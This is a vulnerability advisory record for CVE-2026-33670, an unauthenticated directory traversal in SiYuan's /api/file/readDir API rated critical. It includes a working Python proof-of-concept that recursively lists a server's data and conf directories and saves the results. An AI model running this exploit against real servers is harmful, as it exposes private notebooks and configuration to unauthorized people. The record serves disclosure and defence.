{"id":"CVE-2026-33670","aliases":["GHSA-xmw9-6r43-x9ww","GO-2026-4843"],"url":"https://o3.security/vulnerability/CVE-2026-33670","summary":"SiYuan has directory traversal within its publishing service","details":"### Details\n\nThe /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"POC: SiYuan /api/file/readDir 未鉴权目录遍历\"\"\"\nimport requests, json, sys\n\ndef poc(target):\n    base = target.rstrip(\"/\")\n    url = f\"{base}/api/file/readDir\"\n\n    def read_dir(path, depth=0, max_depth=4):\n        try:\n            r = requests.post(url, json={\"path\":path},\n                            headers={\"Content-Type\":\"application/json\"}, timeout=10)\n            data = r.json()\n        except Exception as e:\n            return\n        if data.get(\"code\") != 0:\n            return\n\n        entries = data.get(\"data\") or []\n        for entry in entries:\n            name = entry.get(\"name\",\"\")\n            if name.startswith(\".\"):\n                continue\n            icon = \"📁\" if entry.get(\"isDir\") else \"📄\"\n            indent = \"  \" * depth\n            print(f\"  {indent}{icon} {name}\")\n\n            if entry.get(\"isDir\") and depth < max_depth:\n                read_dir(f\"{path}/{name}\", depth+1, max_depth)\n\n    # 遍历根目录\n    print(\"[+] 漏洞存在！开始遍历\\n\")\n    print(\"  📂 data/\")\n    read_dir(\"data\", max_depth=2)\n\n    print(\"\\n  📂 conf/\")\n    read_dir(\"conf\", max_depth=2)\n\n    # 保存\n    try:\n        r = requests.post(url, json={\"path\":\"data\"},\n                        headers={\"Content-Type\":\"application/json\"}, timeout=10)\n        with open(\"readdir.json\",\"w\",encoding=\"utf-8\") as f:\n            json.dump(r.json(), f, ensure_ascii=False, indent=2)\n        print(f\"\\n[+] 根目录数据已保存: readdir.json\")\n    except: pass\n\nif __name__ == \"__main__\":\n    poc(sys.argv[1] if len(sys.argv)>1 else \"http://172.18.40.184\")\n```\n\n### Impact\n\nDirectory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.\n\n资源文件夹\n\n<img width=\"943\" height=\"794\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038\" />\n\n插件文件夹\n\n<img width=\"826\" height=\"921\" alt=\"image\" src=\"https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705\" />\n\nconf文件夹\n\n<img width=\"730\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741\" />","published":"2026-03-26T21:15:56.609Z","modified":"2026-08-12T03:51:27.825972968Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/siyuan-note/siyuan/kernel","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33670.json"},{"type":"ADVISORY","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xmw9-6r43-x9ww"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33670"},{"type":"PACKAGE","url":"https://github.com/siyuan-note/siyuan"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:27.825972968Z"}}